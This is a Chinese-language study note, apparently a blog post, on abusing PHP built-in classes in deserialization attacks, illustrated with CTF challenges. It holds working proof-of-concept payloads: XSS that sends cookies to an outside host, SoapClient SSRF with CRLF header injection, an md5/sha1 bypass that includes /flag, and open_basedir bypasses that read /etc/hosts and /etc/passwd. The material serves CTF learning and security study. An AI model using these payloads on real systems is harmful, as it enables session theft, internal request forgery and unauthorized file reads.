前言
这是去年在刚接触PHP内置类的时候写下的一些常用的和PHP内置类相关的学习。
原生类
Error
Exception
SoapClient
Directorylterator
SimpleXMLElement
Error/Exception内置类的使用
XSS
Error类
条件:
php7版本
开启报错
Error类是一个php的内置类,用于自定义一个Error,内置有一个__toString()
方法,如果把他作为字符串使用的时候就会触发这个方法:echo <object>
类似这种
//test.php
<?php
$str = unserialize($_GET['cmd']);
echo $str;
?>
很明显是一个反序列化问题,但是没有可以利用的魔术方法
我们使用Error类
触发其中的__toString()
方法
//POC
<?php
$str = new Error("<script>alert("xss_successful")</script>");
echo urlencode(serialize($str));
//O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A40%3A%22%3Cscript%3Ealert%28%27xss_successful%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22D%3A%5Cphpstudy%5CPHPTutorial%5CWWW%5Ctest1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
GET传参:成功执行js
Exception类
条件:
php5/php7版本
开启报错
同样具有__toString()
魔术方法
测试:
<?php
highlight_file(__FILE__);
$str = unserialize($_GET['cmd']);
echo $str;
?>
POC:
<?php
$str = new Exception("<script>alert('xss_successful')</script>");
echo urlencode(serialize($str));
?>
//O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A40%3A%22%3Cscript%3Ealert%28%27xss_successful%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22D%3A%5Cphpstudy%5CPHPTutorial%5CWWW%5Ctest1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
GET传参
成功执行
例题
xss之光
打开题目就是gungungun
我们进行信息收集,发现了git泄露
python2 GitHack.py http://b4c894c7-cf52-4dc3-8a2e-4438d75072ab.node4.buuoj.cn/.git/
得到index.php
//index.php
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
很明显有一个unserialize()
函数,但是没有魔术方法可以利用,我们可以想到使用PHP内置类,通过echo
来触发内置类中的__toString()
魔术方法来实现反序列化
而且可以观察到X-Powered-By
字段泄露了使用了php5版本
所以我们使用Exception()
内置类进行xss
我们使用xss将cookie带出来
使用
window.open()
打开新窗口的方法带出cookie使用
window.location.href='url'
实现恶意跳转带出cookie使用
alert(document.cookie)
通过弹窗弹出cookie
//payload
<?php
$str = new Exception("<script>window.open('http://b4c894c7-cf52-4dc3-8a2e-4438d75072ab.node4.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($str));
?>
<?php
$str = new Exception("<script>window.location.href='http://4359bb0c-611c-4df8-a0e5-2545a73fc9fd.node4.buuoj.cn:81/?'+document.cookie</script>");
echo urlencode(serialize($str));
?>
<?php
$str = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($str));
?>
//如果开启了httponly是不能够成功的
效果:
绕过哈希比较
Error/Exception类
区别:
Error是用于php7, Exception类适用于php5/php7
__toString()
将错误的对象异常或者错误的对象转化为字符串
Error为例:
<?php
$a = new Error("aaa", 1);
echo $a;
?>
抛出了错误,其中的2
是对应的行号,但是我们可以发现其中的错误对象1
并没有输出
之后测试
<?php
$a = new Error("aaa", 1); $b = new Error("aaa", 2);
echo $a;
echo "\n\n";
echo $b;
?>
结果图:
我们发现$a,$b
中的错误对象并不相同,但是返回的是相同的
这里必须要保证这个两个Error类
在同一行,不然返回的值不一样
例题
极客大挑战2020 Greatphp
打开题目
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
//过滤了<?php ( ) " '
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
我们使用<?=
绕过<?php
php标签的几种写法:
<?php ?>
<?php
<? ?> //需要php.ini中开启short_open_tag=On
<?= ?>
<% %> //需要php.ini中开启asp_tags=On
<script language="php">xxx</script>
禁用了括号,不能使用函数,我们使用include "/flag"
包含他
但是同时过滤了引号,我们进行取反
<?php
$str = "/flag";
echo urlencode(~$str);
?>
//%D0%99%93%9E%98
O对了,还有如果对一个类求他的哈希值,就会触发他的__toString()
魔术方法,我们就可以使用前面说的方法绕过sha1和md5的比较
//POC:
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$payload = "?><?=include~".urldecode('%D0%99%93%9E%98')."?>";
$str = new SYCLOVER();
$str->syc = new Exception($payload, 1); $str->lover = new Exception($payload, 2);
//这里的php版本是7,所以Error和Exception类都可以使用
echo urlencode(serialize($str));
?>
GET传参之后
成功执行payload,得到flag
利用SoapClient类SSRF
SoapClient类学习
php5/php7/php8
我们可以看到有一个__call()
魔术方法,如果调用触发这个 魔术方法,他会发送http/https请求
这个类的构造方法:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中
location
是要将请求发送到的SOAP服务器的URL,而uri
是SOAP服务的目标命名空间。
SSRF测试
<?php
//需要php.ini中加载php_soap.dll扩展
$a = new SoapClient(null, array(
'location' => 'http://yourip:port/aaa',
'uri' => 'http://yourip:port'
));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->aaaa();//触发__call魔术方法
?>
开启端口监听
成功SSRF
其中发现SOAPAction头参数可控
如果我们配合CRLF漏洞的话就可以设置POST请求的body就可以控制
<?php
$a = new SoapClient(null,array('uri'=>"bbb\r\n\r\nPOST_request_body\r\n", 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
?>
但是Content-Type
在SOAPAction的上面,我们就不能控制POST请求的数据
其中我们发现User-Agent
在Content-Type
的上面,而且似乎也可控
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'RoboTerh^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;
$c = unserialize($aaa);
$c->not_exists_function();
?>
实现了任意POST请求
当然,在攻击redis的时候也可以通过这种方法插入redis命令
例题
bestphp's revenge
打开题目
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
通过目录扫描得到/flag.php
很明显需要我们ssrf来访问其中的/flag.php
但是没有ssrf的利用点
我们可以想到使用php原生类SoapClient
来触发其中的__call()
魔术方法来进行ssrf得到flag
因为他是把得到的flag放在session中的,我们就需要设置一个cookie来访问这个session文件进而得到flag
<?php
$str = "http://127.0.0.1/flag.php";
$a = new SoapClient(null, array(
'location' => $str,
'uri' => "http://127.0.0.1",
'user_agent' => "RoboTerh\r\ncookie: PHPSESSID=123456\r\n"
));
$payload = urlencode(serialize($a));
echo "|".$payload;
?>
//|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A40%3A%22RoboTerh%5Cr%5Cncookie%3A+PHPSESSID%3D123456%5Cr%5Cn%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
生成了反序列化的payload,但是从哪里进行反序列化入口呢
题目中和session有关,想到session反序列化
这个途径
//session.serialize_handler=php
<?php
session_start();
$_SESSION['name'] = 'RoboTerh';
?>
得到
name|s:8:"RoboTerh";
//session.serialize_handler=php_serialize
<?php
session_start();
$_SESSION['name'] = 'RoboTerh';
?>
得到session文件内容
a:1:{s:4:"name";s:8:"RoboTerh";}
当序列化和反序列化的时候使用不同的引擎就会导致session反序列化漏洞触发
当我们传入
$_SEESION['key'] = '|value';
那么使用php_serialize
的到序列化内容为
a:1:{s:3:'key';s:6:'|value';}
如果用php
引擎来进行反序列化的时候,用|
分隔键名和键值的内容
key为:
a:1:{s:3:'key';s:6:'|
value为:
value';}
则:
| + 序列化内容就可以触发漏洞
要进行session反序列化,就需要将反序列化引擎修改为php_serialize
(默认为php
)
call_user_func($_GET['f'], $_POST)
call_user_func()
是一个回调函数,则可以构建session反序列化
成功设置了PHPSESSIONID=123456
但是没有触发SSRF漏洞,我们需要访问一个不存在的函数触发__call()
魔术方法,进而进行SSRF
发现
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018'); call_user_func($b, $a);
我们需要触发session对象的__call()
方法,而且call_user_func()
函数有一个特性就是:如果传入的是一个数组的话,会将数组的第一个参数当作类名,第二个参数当作函数名
所以我们可以通过extract()
函数将变量b覆盖为call_user_func
这样就变成了call_user_func(call_user_func, array(reset($SESSION), 'welcome_to_the_lctf2018'))
,这样就会触发__call()
这个魔术方法,进而实现SSRF
成功触发了__call()
方法
之后我们传入PHPSESSIONID值,利用var_dump($_SESSION)
来得到flag的值
绕过open_basedir
使用DirectoryIterator类目录遍历
DirectoryIterator原生类
中有一个魔术方法__toString()
,触发这个方法将会返回这个迭代器的第一项
测试
//test.php
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b); //触发__toString方法
?>
GET传参a=DirectoryIterator&b=.
结果如下
如果这时候配合上glob://
伪协议
支持通配符 ? *
支持正则匹配 [a-z]
结果如下
当然,不止一个test开头的文件,他只是返回了第一个文件
//test.php
<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo ($f->__toString().'<BR>');
}
# payload一句话的形式:
# $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
?>
通过迭代,可以遍历文件
使用FilesystemIterator类目录遍历
用法
和上面的用法类似
使用GlobIterator类目录遍历
用法
这个原生类是自带glob
的,所以,我们只需要传入glob协议后面的内容就可以了
使用SplFileObject类读取文件
测试
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);
?>
GET传参a=SplFileObject&b=test.html
test.html内容为
我们发现只读取了第一行的内容
这个类的构造函数传入的是一个文件名,想到可以使用php伪协议
成功使用伪协议读取文件内容
非原生类读取open_basedir限制文件
ini_set() + 相对路径读取
由于open_basedir自身的问题,设置为相对路径..
在解析的时候会致使自身向上跳转一层
<?php
show_source(__FILE__);
print_r(ini_get('open_basedir').'<br>');
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/etc/hosts');
?>
若open_basedir限定到了当前目录,就需要新建子目录,进入设置其为..,若已经是open_basedir的子目录就不需要,因为限定到了当前目录再设置为..就会出错。之后每次引用路径就会触发open_basedir判别,而在解析open_basedir的时候会拼接上..,从而引发open_basedir自身向上跳一级,最后跳到了根目录,再将open_basedir设置到根目录即可
shell命令执行读取文件操作
cat /etc/passwd
symlink()软链接
当前路径是/www/wwwroot/default
,新建目录数量=需要上跳次数+1
<?php
show_source(__FILE__);
mkdir("1");chdir("1");
mkdir("2");chdir("2");
mkdir("3");chdir("3");
mkdir("4");chdir("4");
chdir("..");chdir("..");chdir("..");chdir("..");
symlink("1/2/3/4","tmplink");
symlink("tmplink/../../../../etc/hosts","bypass");
unlink("tmplink");
mkdir("tmplink");
echo file_get_contents("bypass");
?>
symlink会生成一个快捷方式,首先明确需要上跳三次,建四个目录,然后生成软连接symlink("1/2/3/4","tmplink"),然后再生成symlink("tmplink/../../../../etc/hosts","bypass");,化简一下也就是etc/hosts,在当前目录下,因此通过了open_basedir创建成功
之后,把软连接tmplink换成文件夹tmplink,变成了/www/wwwroot/default/tmplink/../../../../etc/hosts,化简就是/etc/hosts
关键就在于软连接中相对路径的转换是不区分类型,用文件夹顶替了软连接
XXE漏洞利用
SimpleXMLElement
PHP 5, PHP 7, PHP 8
构造函数
public SimpleXMLElement::__construct(
string$data
,
int$options
= 0,
bool$dataIsURL
=false
,
string$namespaceOrPrefix
= "",
bool$isPrefix
=false
)
data为xml格式的字符串,也可以是外部的url,我们设置data_is_url为true就可以使用url方法
删除文件利用
利用ZipArchive类进行删除
php5.20之后
这个类有一个open
方法
ZipArchive::open(string $filename, int $flags=0)
参数解释
filename: 要打开的zip文件名
flags: 打开模式:
ZipArchive::OVERWRITE
:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。ZipArchive::CREATE
:如果不存在则创建一个zip压缩包。ZipArchive::RDONLY
:只读模式打开压缩包。ZipArchive::EXCL
:如果压缩包已经存在,则出错。ZipArchive::CHECKCONS
:对压缩包执行额外的一致性检查,如果失败则显示错误。
如果设置flags参数的值为ZipArchive::OVERWRITE
的话,可以把指定文件删除。
这里flags同样可以使用8
来表示ZipArchive::OVERITE
Reflection的妙用
利用反射类得到已知类的方法和信息
Reflection类的使用